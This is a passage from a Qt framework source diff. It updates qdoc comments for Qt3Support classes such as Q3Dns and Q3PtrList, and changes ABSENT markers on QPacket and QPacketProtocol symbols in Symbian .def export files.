+ The constructor sets the public data members name and priority.
+ \a n is the name and \a p is the priority.
*/
/*!
Returns a list of mail servers if the record type is \c Mx. The
class Q3Dns::MailServer contains the following public variables:
\list
- \i QString Q3Dns::MailServer::name
- \i Q_UINT16 Q3Dns::MailServer::priority
+ \o QString Q3Dns::MailServer::name
+ \o Q_UINT16 Q3Dns::MailServer::priority
\endlist
Note that if you want to iterate over the list, you should iterate
@@ -2048,22 +2053,26 @@ Q3ValueList<Q3Dns::MailServer> Q3Dns::mailServers() const
return result;
}
-
/*!
\class Q3Dns::Server
\brief The Q3Dns::Server class is described in Q3Dns::servers().
- \internal
+*/
+
+/*! \fn Q3Dns::Server::Server(const QString& n, Q_UINT16 p, Q_UINT16 w, Q_UINT16 po)
+ The constructor sets the public data members name, priority,
+ weight, and port. \a n is the name, \a p is the priority,
+ \a w is the weight, and \a po is the port.
*/
/*!
Returns a list of servers if the record type is \c Srv. The class
Q3Dns::Server contains the following public variables:
\list
- \i QString Q3Dns::Server::name
- \i Q_UINT16 Q3Dns::Server::priority
- \i Q_UINT16 Q3Dns::Server::weight
- \i Q_UINT16 Q3Dns::Server::port
+ \o QString Q3Dns::Server::name
+ \o Q_UINT16 Q3Dns::Server::priority
+ \o Q_UINT16 Q3Dns::Server::weight
+ \o Q_UINT16 Q3Dns::Server::port
\endlist
Note that if you want to iterate over the list, you should iterate
diff --git a/src/qt3support/tools/q3memarray.qdoc b/src/qt3support/tools/q3memarray.qdoc
index 9f2f1cc..f05f433 100644
--- a/src/qt3support/tools/q3memarray.qdoc
+++ b/src/qt3support/tools/q3memarray.qdoc
@@ -221,8 +221,8 @@
New elements are not initialized.
- \a optim is either Q3GArray::MemOptim (the default) or
- Q3GArray::SpeedOptim. When optimizing for speed rather than memory
+ \a optim is either \c MemOptim (the default) or
+ \c SpeedOptim. When optimizing for speed rather than memory
consumption, the array uses a smart grow and shrink algorithm that
might allocate more memory than is actually needed for \a size
elements. This speeds up subsequent resize operations, for example
diff --git a/src/qt3support/tools/q3ptrlist.qdoc b/src/qt3support/tools/q3ptrlist.qdoc
index c4fdf4f..13e478e 100644
--- a/src/qt3support/tools/q3ptrlist.qdoc
+++ b/src/qt3support/tools/q3ptrlist.qdoc
@@ -93,7 +93,8 @@
also holds pointers to the next and previous list items. The
functions currentNode(), removeNode(), and takeNode() operate
directly on the Q3LNode, but they should be used with care. The
- data component of the node is available through Q3LNode::getData().
+ data component of the node is available through Q3LNode's getData()
+ function.
The Q3StrList class is a list of \c char*.
It reimplements newItem(), deleteItem() and compareItems(). (But
diff --git a/src/s60installs/bwins/QtCoreu.def b/src/s60installs/bwins/QtCoreu.def
index a2692f7..dd7d588 100644
--- a/src/s60installs/bwins/QtCoreu.def
+++ b/src/s60installs/bwins/QtCoreu.def
@@ -4603,4 +4603,6 @@ EXPORTS
??XQPoint@@QAEAAV0@N@Z @ 4602 NONAME ; class QPoint & QPoint::operator*=(double)
??XQPoint@@QAEAAV0@H@Z @ 4603 NONAME ; class QPoint & QPoint::operator*=(int)
?hasError@QXmlStreamWriter@@QBE_NXZ @ 4604 NONAME ; bool QXmlStreamWriter::hasError(void) const
+ ?revision@QMetaProperty@@QBEHXZ @ 4605 NONAME ; int QMetaProperty::revision(void) const
+ ?revision@QMetaMethod@@QBEHXZ @ 4606 NONAME ; int QMetaMethod::revision(void) const
diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def
index 9e88df7..7d0a83e 100644
--- a/src/s60installs/bwins/QtDeclarativeu.def
+++ b/src/s60installs/bwins/QtDeclarativeu.def
@@ -52,7 +52,7 @@ EXPORTS
?isDesignable@QMetaPropertyBuilder@@QBE_NXZ @ 51 NONAME ABSENT ; bool QMetaPropertyBuilder::isDesignable(void) const
?tr@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 52 NONAME ; class QString QDeclarativeStateGroup::tr(char const *, char const *, int)
?errors@QDeclarativeView@@QBE?AV?$QList@VQDeclarativeError@@@@XZ @ 53 NONAME ; class QList<class QDeclarativeError> QDeclarativeView::errors(void) const
- ??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ABSENT ; QPacket::QPacket(class QPacket const &)
+ ??0QPacket@@QAE@ABV0@@Z @ 54 NONAME ; QPacket::QPacket(class QPacket const &)
??1QDeclarativeDebugObjectExpressionWatch@@UAE@XZ @ 55 NONAME ABSENT ; QDeclarativeDebugObjectExpressionWatch::~QDeclarativeDebugObjectExpressionWatch(void)
?status@QDeclarativePixmap@@QBE?AW4Status@1@XZ @ 56 NONAME ; enum QDeclarativePixmap::Status QDeclarativePixmap::status(void) const
?bottom@QDeclarativeAnchors@@QBE?AVQDeclarativeAnchorLine@@XZ @ 57 NONAME ABSENT ; class QDeclarativeAnchorLine QDeclarativeAnchors::bottom(void) const
@@ -69,7 +69,7 @@ EXPORTS
??0Variant@QDeclarativeParser@@QAE@ABVQString@@@Z @ 68 NONAME ; QDeclarativeParser::Variant::Variant(class QString const &)
?paintedSizeChanged@QDeclarativeText@@IAEXXZ @ 69 NONAME ABSENT ; void QDeclarativeText::paintedSizeChanged(void)
??1QDeclarativeDebugClient@@UAE@XZ @ 70 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(void)
- ?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *)
+ ?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 71 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *)
?trUtf8@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 72 NONAME ABSENT ; class QString QDeclarativeListModel::trUtf8(char const *, char const *)
?qt_metacast@QDeclarativeState@@UAEPAXPBD@Z @ 73 NONAME ; void * QDeclarativeState::qt_metacast(char const *)
??1QDeclarativeDebugContextReference@@QAE@XZ @ 74 NONAME ABSENT ; QDeclarativeDebugContextReference::~QDeclarativeDebugContextReference(void)
@@ -126,7 +126,7 @@ EXPORTS
?addToObject@QDeclarativeAbstractBinding@@QAEXPAVQObject@@@Z @ 125 NONAME ABSENT ; void QDeclarativeAbstractBinding::addToObject(class QObject *)
?trUtf8@QDeclarativeView@@SA?AVQString@@PBD0H@Z @ 126 NONAME ; class QString QDeclarativeView::trUtf8(char const *, char const *, int)
?d_func@QDeclarativeAnchors@@AAEPAVQDeclarativeAnchorsPrivate@@XZ @ 127 NONAME ABSENT ; class QDeclarativeAnchorsPrivate * QDeclarativeAnchors::d_func(void)
- ??1QPacket@@UAE@XZ @ 128 NONAME ABSENT ; QPacket::~QPacket(void)
+ ??1QPacket@@UAE@XZ @ 128 NONAME ; QPacket::~QPacket(void)
?top@QDeclarativeScaleGrid@@QBEHXZ @ 129 NONAME ABSENT ; int QDeclarativeScaleGrid::top(void) const
?setExpression@QDeclarativeExpression@@QAEXABVQString@@@Z @ 130 NONAME ; void QDeclarativeExpression::setExpression(class QString const &)
??1QDeclarativeDebugEngineReference@@QAE@XZ @ 131 NONAME ABSENT ; QDeclarativeDebugEngineReference::~QDeclarativeDebugEngineReference(void)
@@ -252,7 +252,7 @@ EXPORTS
??4QDeclarativeDomValueLiteral@@QAEAAV0@ABV0@@Z @ 251 NONAME ABSENT ; class QDeclarativeDomValueLiteral & QDeclarativeDomValueLiteral::operator=(class QDeclarativeDomValueLiteral const &)
?setScript@QDeclarativeScriptString@@QAEXABVQString@@@Z @ 252 NONAME ; void QDeclarativeScriptString::setScript(class QString const &)
?requestImage@QDeclarativeImageProvider@@UAE?AVQImage@@ABVQString@@PAVQSize@@ABV4@@Z @ 253 NONAME ; class QImage QDeclarativeImageProvider::requestImage(class QString const &, class QSize *, class QSize const &)
- ?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ABSENT ; void * QPacketProtocol::qt_metacast(char const *)
+ ?qt_metacast@QPacketProtocol@@UAEPAXPBD@Z @ 254 NONAME ; void * QPacketProtocol::qt_metacast(char const *)
?addMetaObject@QMetaObjectBuilder@@QAEXPBUQMetaObject@@V?$QFlags@W4AddMember@QMetaObjectBuilder@@@@@Z @ 255 NONAME ABSENT ; void QMetaObjectBuilder::addMetaObject(struct QMetaObject const *, class QFlags<enum QMetaObjectBuilder::AddMember>)
?trUtf8@QDeclarativeRectangle@@SA?AVQString@@PBD0H@Z @ 256 NONAME ABSENT ; class QString QDeclarativeRectangle::trUtf8(char const *, char const *, int)
?qt_metacast@QDeclarativeText@@UAEPAXPBD@Z @ 257 NONAME ABSENT ; void * QDeclarativeText::qt_metacast(char const *)
@@ -263,7 +263,7 @@ EXPORTS
?create@QDeclarativeType@@QBEPAVQObject@@XZ @ 262 NONAME ABSENT ; class QObject * QDeclarativeType::create(void) const
?metaObject@QDeclarativeDebugExpressionQuery@@UBEPBUQMetaObject@@XZ @ 263 NONAME ABSENT ; struct QMetaObject const * QDeclarativeDebugExpressionQuery::metaObject(void) const
?engine@QDeclarativeView@@QBEPAVQDeclarativeEngine@@XZ @ 264 NONAME ; class QDeclarativeEngine * QDeclarativeView::engine(void) const
- ?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ABSENT ; void QPacketProtocol::readyRead(void)
+ ?readyRead@QPacketProtocol@@IAEXXZ @ 265 NONAME ; void QPacketProtocol::readyRead(void)
?qt_metacall@QDeclarativeValueType@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 266 NONAME ABSENT ; int QDeclarativeValueType::qt_metacall(enum QMetaObject::Call, int, void * *)
?propertyType@QDeclarativePropertyPrivate@@QBEHXZ @ 267 NONAME ABSENT ; int QDeclarativePropertyPrivate::propertyType(void) const
?inputMethodQuery@QDeclarativeItem@@MBE?AVQVariant@@W4InputMethodQuery@Qt@@@Z @ 268 NONAME ; class QVariant QDeclarativeItem::inputMethodQuery(enum Qt::InputMethodQuery) const
@@ -310,7 +310,7 @@ EXPORTS
?setSmooth@QDeclarativeItem@@QAEX_N@Z @ 309 NONAME ; void QDeclarativeItem::setSmooth(bool)
?value@QDeclarativeDebugPropertyReference@@QBE?AVQVariant@@XZ @ 310 NONAME ABSENT ; class QVariant QDeclarativeDebugPropertyReference::value(void) const
?resources@QDeclarativeItemPrivate@@QAE?AV?$QDeclarativeListProperty@VQObject@@@@XZ @ 311 NONAME ; class QDeclarativeListProperty<class QObject> QDeclarativeItemPrivate::resources(void)
- ?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ABSENT ; void QPacketProtocol::clear(void)
+ ?clear@QPacketProtocol@@QAEXXZ @ 312 NONAME ; void QPacketProtocol::clear(void)
?setState@QDeclarativeItemPrivate@@QAEXABVQString@@@Z @ 313 NONAME ; void QDeclarativeItemPrivate::setState(class QString const &)
??4QDeclarativeDebugPropertyReference@@QAEAAV0@ABV0@@Z @ 314 NONAME ABSENT ; class QDeclarativeDebugPropertyReference & QDeclarativeDebugPropertyReference::operator=(class QDeclarativeDebugPropertyReference const &)
?metaObject@QDeclarativeView@@UBEPBUQMetaObject@@XZ @ 315 NONAME ; struct QMetaObject const * QDeclarativeView::metaObject(void) const
@@ -377,7 +377,7 @@ EXPORTS
?status@QDeclarativeView@@QBE?AW4Status@1@XZ @ 376 NONAME ; enum QDeclarativeView::Status QDeclarativeView::status(void) const
??0QDeclarativeEngineDebug@@QAE@PAVQDeclarativeDebugConnection@@PAVQObject@@@Z @ 377 NONAME ABSENT ; QDeclarativeEngineDebug::QDeclarativeEngineDebug(class QDeclarativeDebugConnection *, class QObject *)
?create@QDeclarativeComponent@@UAEPAVQObject@@PAVQDeclarativeContext@@@Z @ 378 NONAME ; class QObject * QDeclarativeComponent::create(class QDeclarativeContext *)
- ??_EQPacket@@UAE@I@Z @ 379 NONAME ABSENT ; QPacket::~QPacket(unsigned int)
+ ??_EQPacket@@UAE@I@Z @ 379 NONAME ; QPacket::~QPacket(unsigned int)
?trUtf8@QDeclarativeScaleGrid@@SA?AVQString@@PBD0H@Z @ 380 NONAME ABSENT ; class QString QDeclarativeScaleGrid::trUtf8(char const *, char const *, int)
?isResettable@QDeclarativeProperty@@QBE_NXZ @ 381 NONAME ; bool QDeclarativeProperty::isResettable(void) const
?isList@QDeclarativeCustomParserProperty@@QBE_NXZ @ 382 NONAME ; bool QDeclarativeCustomParserProperty::isList(void) const
@@ -428,7 +428,7 @@ EXPORTS
?line@QDeclarativeError@@QBEHXZ @ 427 NONAME ; int QDeclarativeError::line(void) const
?heightValid@QDeclarativeItem@@IBE_NXZ @ 428 NONAME ; bool QDeclarativeItem::heightValid(void) const
??1QDeclarativeOpenMetaObject@@UAE@XZ @ 429 NONAME ABSENT ; QDeclarativeOpenMetaObject::~QDeclarativeOpenMetaObject(void)
- ??0QPacket@@QAE@XZ @ 430 NONAME ABSENT ; QPacket::QPacket(void)
+ ??0QPacket@@QAE@XZ @ 430 NONAME ; QPacket::QPacket(void)
?trUtf8@QDeclarativePropertyMap@@SA?AVQString@@PBD0H@Z @ 431 NONAME ; class QString QDeclarativePropertyMap::trUtf8(char const *, char const *, int)
?trUtf8@QDeclarativeEngine@@SA?AVQString@@PBD0H@Z @ 432 NONAME ; class QString QDeclarativeEngine::trUtf8(char const *, char const *, int)
??0QDeclarativeDebugEngineReference@@QAE@XZ @ 433 NONAME ABSENT ; QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(void)
@@ -485,7 +485,7 @@ EXPORTS
?staticMetaObject@QDeclarativeDebugService@@2UQMetaObject@@B @ 484 NONAME ABSENT ; struct QMetaObject const QDeclarativeDebugService::staticMetaObject
?topMargin@QDeclarativeAnchors@@QBEMXZ @ 485 NONAME ABSENT ; float QDeclarativeAnchors::topMargin(void) const
??0QDeclarativeDebugExpressionQuery@@AAE@PAVQObject@@@Z @ 486 NONAME ABSENT ; QDeclarativeDebugExpressionQuery::QDeclarativeDebugExpressionQuery(class QObject *)
- ??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ABSENT ; QPacket::QPacket(class QByteArray const &)
+ ??0QPacket@@IAE@ABVQByteArray@@@Z @ 487 NONAME ; QPacket::QPacket(class QByteArray const &)
?implicitSize@QDeclarativePixmap@@QBEABVQSize@@XZ @ 488 NONAME ; class QSize const & QDeclarativePixmap::implicitSize(void) const
?setFlags@QMetaObjectBuilder@@QAEXV?$QFlags@W4MetaObjectFlag@QMetaObjectBuilder@@@@@Z @ 489 NONAME ABSENT ; void QMetaObjectBuilder::setFlags(class QFlags<enum QMetaObjectBuilder::MetaObjectFlag>)
?horizontalCenterChanged@QDeclarativeAnchors@@IAEXXZ @ 490 NONAME ABSENT ; void QDeclarativeAnchors::horizontalCenterChanged(void)
@@ -502,7 +502,7 @@ EXPORTS
?qmlAttachedPropertiesObject@@YAPAVQObject@@PAHPBV1@PBUQMetaObject@@_N@Z @ 501 NONAME ; class QObject * qmlAttachedPropertiesObject(int *, class QObject const *, struct QMetaObject const *, bool)
??_EQDeclarativeDebugClient@@UAE@I@Z @ 502 NONAME ABSENT ; QDeclarativeDebugClient::~QDeclarativeDebugClient(unsigned int)
??4QDeclarativeDomComponent@@QAEAAV0@ABV0@@Z @ 503 NONAME ABSENT ; class QDeclarativeDomComponent & QDeclarativeDomComponent::operator=(class QDeclarativeDomComponent const &)
- ?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *)
+ ?tr@QPacketProtocol@@SA?AVQString@@PBD0@Z @ 504 NONAME ; class QString QPacketProtocol::tr(char const *, char const *)
?setFont@QDeclarativeText@@QAEXABVQFont@@@Z @ 505 NONAME ABSENT ; void QDeclarativeText::setFont(class QFont const &)
?fromChanged@QDeclarativeTransition@@IAEXXZ @ 506 NONAME ; void QDeclarativeTransition::fromChanged(void)
?addMethod@QMetaObjectBuilder@@QAE?AVQMetaMethodBuilder@@ABVQMetaMethod@@@Z @ 507 NONAME ABSENT ; class QMetaMethodBuilder QMetaObjectBuilder::addMethod(class QMetaMethod const &)
@@ -610,7 +610,7 @@ EXPORTS
??0QDeclarativeListReference@@QAE@PAVQObject@@PBDPAVQDeclarativeEngine@@@Z @ 609 NONAME ; QDeclarativeListReference::QDeclarativeListReference(class QObject *, char const *, class QDeclarativeEngine *)
?setData@QListModelInterface@@UAE_NHABV?$QHash@HVQVariant@@@@@Z @ 610 NONAME ABSENT ; bool QListModelInterface::setData(int, class QHash<int, class QVariant> const &)
??0QDeclarativePen@@QAE@PAVQObject@@@Z @ 611 NONAME ABSENT ; QDeclarativePen::QDeclarativePen(class QObject *)
- ?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ABSENT ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
+ ?trUtf8@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 612 NONAME ; class QString QPacketProtocol::trUtf8(char const *, char const *, int)
?setContextObject@QDeclarativeContext@@QAEXPAVQObject@@@Z @ 613 NONAME ; void QDeclarativeContext::setContextObject(class QObject *)
??_EQDeclarativeState@@UAE@I@Z @ 614 NONAME ; QDeclarativeState::~QDeclarativeState(unsigned int)
?expression@QDeclarativeExpression@@QBE?AVQString@@XZ @ 615 NONAME ; class QString QDeclarativeExpression::expression(void) const
@@ -668,7 +668,7 @@ EXPORTS
?setStdCppSet@QMetaPropertyBuilder@@QAEX_N@Z @ 667 NONAME ABSENT ; void QMetaPropertyBuilder::setStdCppSet(bool)
??0QDeclarativeItemPrivate@@QAE@XZ @ 668 NONAME ; QDeclarativeItemPrivate::QDeclarativeItemPrivate(void)
??0QDeclarativeDebugService@@QAE@ABVQString@@PAVQObject@@@Z @ 669 NONAME ABSENT ; QDeclarativeDebugService::QDeclarativeDebugService(class QString const &, class QObject *)
- ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
+ ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@_N@Z @ 670 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, bool)
??_EQPacketAutoSend@@UAE@I@Z @ 671 NONAME ABSENT ; QPacketAutoSend::~QPacketAutoSend(unsigned int)
?saveValueType@QDeclarativePropertyPrivate@@SA?AVQByteArray@@PBUQMetaObject@@H0H@Z @ 672 NONAME ABSENT ; class QByteArray QDeclarativePropertyPrivate::saveValueType(struct QMetaObject const *, int, struct QMetaObject const *, int)
?resetHeight@QDeclarativeItem@@QAEXXZ @ 673 NONAME ; void QDeclarativeItem::resetHeight(void)
@@ -688,7 +688,7 @@ EXPORTS
?d_func@QDeclarativeDebugClient@@AAEPAVQDeclarativeDebugClientPrivate@@XZ @ 687 NONAME ABSENT ; class QDeclarativeDebugClientPrivate * QDeclarativeDebugClient::d_func(void)
??1QDeclarativeType@@AAE@XZ @ 688 NONAME ABSENT ; QDeclarativeType::~QDeclarativeType(void)
?colorFromString@QDeclarativeStringConverters@@YA?AVQColor@@ABVQString@@PA_N@Z @ 689 NONAME ABSENT ; class QColor QDeclarativeStringConverters::colorFromString(class QString const &, bool *)
- ??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(unsigned int)
+ ??_EQPacketProtocol@@UAE@I@Z @ 690 NONAME ; QPacketProtocol::~QPacketProtocol(unsigned int)
?tr@QDeclarativeListModel@@SA?AVQString@@PBD0@Z @ 691 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *)
??0QDeclarativePixmap@@QAE@XZ @ 692 NONAME ; QDeclarativePixmap::QDeclarativePixmap(void)
??0QDeclarativeDebugObjectReference@@QAE@XZ @ 693 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(void)
@@ -704,7 +704,7 @@ EXPORTS
??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &)
??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool)
?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *)
- ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ABSENT ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
+ ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *)
??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void)
?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void)
?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int)
@@ -757,7 +757,7 @@ EXPORTS
??4QDeclarativeDomValueBinding@@QAEAAV0@ABV0@@Z @ 756 NONAME ABSENT ; class QDeclarativeDomValueBinding & QDeclarativeDomValueBinding::operator=(class QDeclarativeDomValueBinding const &)
??0QDeclarativeExpression@@QAE@XZ @ 757 NONAME ; QDeclarativeExpression::QDeclarativeExpression(void)
?paint@QDeclarativeItem@@UAEXPAVQPainter@@PBVQStyleOptionGraphicsItem@@PAVQWidget@@@Z @ 758 NONAME ; void QDeclarativeItem::paint(class QPainter *, class QStyleOptionGraphicsItem const *, class QWidget *)
- ?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ABSENT ; class QPacketAutoSend QPacketProtocol::send(void)
+ ?send@QPacketProtocol@@QAE?AVQPacketAutoSend@@XZ @ 759 NONAME ; class QPacketAutoSend QPacketProtocol::send(void)
?countChanged@QDeclarativeListModel@@IAEXXZ @ 760 NONAME ABSENT ; void QDeclarativeListModel::countChanged(void)
??0QDeclarativeGridScaledImage@@QAE@PAVQIODevice@@@Z @ 761 NONAME ABSENT ; QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(class QIODevice *)
??_EQDeclarativeBinding@@UAE@I@Z @ 762 NONAME ABSENT ; QDeclarativeBinding::~QDeclarativeBinding(unsigned int)
@@ -776,7 +776,7 @@ EXPORTS
?hasNotifySignal@QDeclarativeProperty@@QBE_NXZ @ 775 NONAME ; bool QDeclarativeProperty::hasNotifySignal(void) const
?create@QDeclarativeType@@QBEXPAPAVQObject@@PAPAXI@Z @ 776 NONAME ABSENT ; void QDeclarativeType::create(class QObject * *, void * *, unsigned int) const
?reversible@QDeclarativeTransition@@QBE_NXZ @ 777 NONAME ; bool QDeclarativeTransition::reversible(void) const
- ?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ABSENT ; void QPacketProtocol::invalidPacket(void)
+ ?invalidPacket@QPacketProtocol@@IAEXXZ @ 778 NONAME ; void QPacketProtocol::invalidPacket(void)
??0QDeclarativeDebugObjectReference@@QAE@H@Z @ 779 NONAME ABSENT ; QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int)
?superClass@QMetaObjectBuilder@@QBEPBUQMetaObject@@XZ @ 780 NONAME ABSENT ; struct QMetaObject const * QMetaObjectBuilder::superClass(void) const
?isValid@QDeclarativeListReference@@QBE_NXZ @ 781 NONAME ; bool QDeclarativeListReference::isValid(void) const
@@ -813,7 +813,7 @@ EXPORTS
??_EQDeclarativeDebugQuery@@UAE@I@Z @ 812 NONAME ABSENT ; QDeclarativeDebugQuery::~QDeclarativeDebugQuery(unsigned int)
?update@QDeclarativeAbstractBinding@@QAEXXZ @ 813 NONAME ABSENT ; void QDeclarativeAbstractBinding::update(void)
?tr@QDeclarativeBehavior@@SA?AVQString@@PBD0H@Z @ 814 NONAME ABSENT ; class QString QDeclarativeBehavior::tr(char const *, char const *, int)
- ?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ABSENT ; class QPacket QPacketProtocol::read(void)
+ ?read@QPacketProtocol@@QAE?AVQPacket@@XZ @ 815 NONAME ; class QPacket QPacketProtocol::read(void)
?setParentItem@QDeclarativeItem@@QAEXPAV1@@Z @ 816 NONAME ; void QDeclarativeItem::setParentItem(class QDeclarativeItem *)
?qmlAttachedProperties@QDeclarativeComponent@@SAPAVQDeclarativeComponentAttached@@PAVQObject@@@Z @ 817 NONAME ; class QDeclarativeComponentAttached * QDeclarativeComponent::qmlAttachedProperties(class QObject *)
??0QDeclarativeView@@QAE@ABVQUrl@@PAVQWidget@@@Z @ 818 NONAME ; QDeclarativeView::QDeclarativeView(class QUrl const &, class QWidget *)
@@ -821,7 +821,7 @@ EXPORTS
??_EQDeclarativeView@@UAE@I@Z @ 820 NONAME ; QDeclarativeView::~QDeclarativeView(unsigned int)
?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 821 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *, int)
?tag@QMetaMethodBuilder@@QBE?AVQByteArray@@XZ @ 822 NONAME ABSENT ; class QByteArray QMetaMethodBuilder::tag(void) const
- ?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ABSENT ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
+ ?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
?setContext@QDeclarativeScriptString@@QAEXPAVQDeclarativeContext@@@Z @ 824 NONAME ; void QDeclarativeScriptString::setContext(class QDeclarativeContext *)
?addImageProvider@QDeclarativeEngine@@QAEXABVQString@@PAVQDeclarativeImageProvider@@@Z @ 825 NONAME ; void QDeclarativeEngine::addImageProvider(class QString const &, class QDeclarativeImageProvider *)
?d_func@QDeclarativeStateGroup@@ABEPBVQDeclarativeStateGroupPrivate@@XZ @ 826 NONAME ; class QDeclarativeStateGroupPrivate const * QDeclarativeStateGroup::d_func(void) const
@@ -1013,7 +1013,7 @@ EXPORTS
?agent@QDeclarativeListModel@@QAEPAVQDeclarativeListModelWorkerAgent@@XZ @ 1012 NONAME ABSENT ; class QDeclarativeListModelWorkerAgent * QDeclarativeListModel::agent(void)
?engine@QDeclarativeExpression@@QBEPAVQDeclarativeEngine@@XZ @ 1013 NONAME ; class QDeclarativeEngine * QDeclarativeExpression::engine(void) const
??_EQDeclarativeDebugWatch@@UAE@I@Z @ 1014 NONAME ABSENT ; QDeclarativeDebugWatch::~QDeclarativeDebugWatch(unsigned int)
- ?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ABSENT ; bool QPacket::isEmpty(void) const
+ ?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ; bool QPacket::isEmpty(void) const
?qmlType@QDeclarativeMetaType@@SAPAVQDeclarativeType@@PBUQMetaObject@@@Z @ 1016 NONAME ABSENT ; class QDeclarativeType * QDeclarativeMetaType::qmlType(struct QMetaObject const *)
?setFill@QDeclarativeAnchors@@QAEXPAVQGraphicsObject@@@Z @ 1017 NONAME ABSENT ; void QDeclarativeAnchors::setFill(class QGraphicsObject *)
?setHAlign@QDeclarativeText@@QAEXW4HAlignment@1@@Z @ 1018 NONAME ABSENT ; void QDeclarativeText::setHAlign(enum QDeclarativeText::HAlignment)
@@ -1029,7 +1029,7 @@ EXPORTS
?staticMetaObject@QDeclarativeText@@2UQMetaObject@@B @ 1028 NONAME ABSENT ; struct QMetaObject const QDeclarativeText::staticMetaObject
?color@QDeclarativeRectangle@@QBE?AVQColor@@XZ @ 1029 NONAME ABSENT ; class QColor QDeclarativeRectangle::color(void) const
?isEnabled@QDeclarativeDebugClient@@QBE_NXZ @ 1030 NONAME ABSENT ; bool QDeclarativeDebugClient::isEnabled(void) const
- ?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ABSENT ; void QPacketProtocol::send(class QPacket const &)
+ ?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ; void QPacketProtocol::send(class QPacket const &)
?width@QDeclarativePixmap@@QBEHXZ @ 1032 NONAME ; int QDeclarativePixmap::width(void) const
?error@QDeclarativeCustomParser@@IAEXABVQDeclarativeCustomParserNode@@ABVQString@@@Z @ 1033 NONAME ; void QDeclarativeCustomParser::error(class QDeclarativeCustomParserNode const &, class QString const &)
?defaultProperty@QDeclarativeMetaType@@SA?AVQMetaProperty@@PBUQMetaObject@@@Z @ 1034 NONAME ABSENT ; class QMetaProperty QDeclarativeMetaType::defaultProperty(struct QMetaObject const *)
@@ -1043,7 +1043,7 @@ EXPORTS
?trUtf8@QDeclarativeAnchors@@SA?AVQString@@PBD0@Z @ 1042 NONAME ABSENT ; class QString QDeclarativeAnchors::trUtf8(char const *, char const *)
?getStaticMetaObject@QDeclarativeValueType@@SAABUQMetaObject@@XZ @ 1043 NONAME ABSENT ; struct QMetaObject const & QDeclarativeValueType::getStaticMetaObject(void)
?valueChanged@QDeclarativePropertyMap@@IAEXABVQString@@ABVQVariant@@@Z @ 1044 NONAME ; void QDeclarativePropertyMap::valueChanged(class QString const &, class QVariant const &)
- ?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ABSENT ; struct QMetaObject const QPacketProtocol::staticMetaObject
+ ?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ; struct QMetaObject const QPacketProtocol::staticMetaObject
